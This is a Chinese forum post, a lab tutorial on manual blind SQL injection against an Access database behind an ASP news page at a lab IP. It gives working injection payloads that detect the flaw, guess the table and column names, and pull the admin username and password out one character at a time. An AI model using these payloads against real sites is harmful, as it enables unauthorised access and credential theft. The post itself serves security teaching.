子豪_002 发表于 2018-3-20 13:12:33

SQL注入原理-手工注入access数据库

一、Target:
SQL注入原理、学习手工注入过程
二、实验原理:通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串,最终达到

欺骗服务器执行恶意的SQL命令

1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点
2、添加语句【and exists(select*from admin)】根据页面返回结果来猜解表名
3、添加【and exists(select admin from admin)】猜解admin表中的列名admin
4、添加语句【and (select top 1 len (admin)from admin)>1】猜解字段长度
5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>97】猜解字段中字符的ASCII码
通过上述的步骤,反复猜解,即可得到数据库存储的用户名和密码
三、实验环境:
本机:192.168.1.2
目标机:192.168.1.3
四、实验步骤:
找到有注入漏洞目标网站:
**1、目标站点:http://192.168.1.3:8008
随便选择一个链接:http://192.168.1.3:8008/onews.asp?id=45**

2、测试链接,在末尾添加【’】

3、在末尾添加【and 1 =1】

4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞

猜解表名
在链接末尾添加语句【and exists(select*from admin)】,页面正常显示,说明存在表名【admin】

猜解列名
1、在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,说明表中存在admin列

2、在链接末尾添加语句【and exists(select password from admin)】,页面显示正常,说明表中存在
列password

猜解字段内容
1、在链接末尾,输入【and (select top 1 len (admin)from admin>1】页面显示正常,数字依次加1,进
行测试,例如:【and (select top 1 len (admin)from admin>5】说明字段长度为5

2、在链接末尾,输入【and (select top 1 asc(mid(admin,1,1))from admin)>97】,可猜解第一条记录
的第一个字符的ASCILL码为97,对应为a.

3、同样的方法得到admin的字段内容【admin】,password的字段内容【bfpms】

页: [1]
查看完整版本: SQL注入原理-手工注入access数据库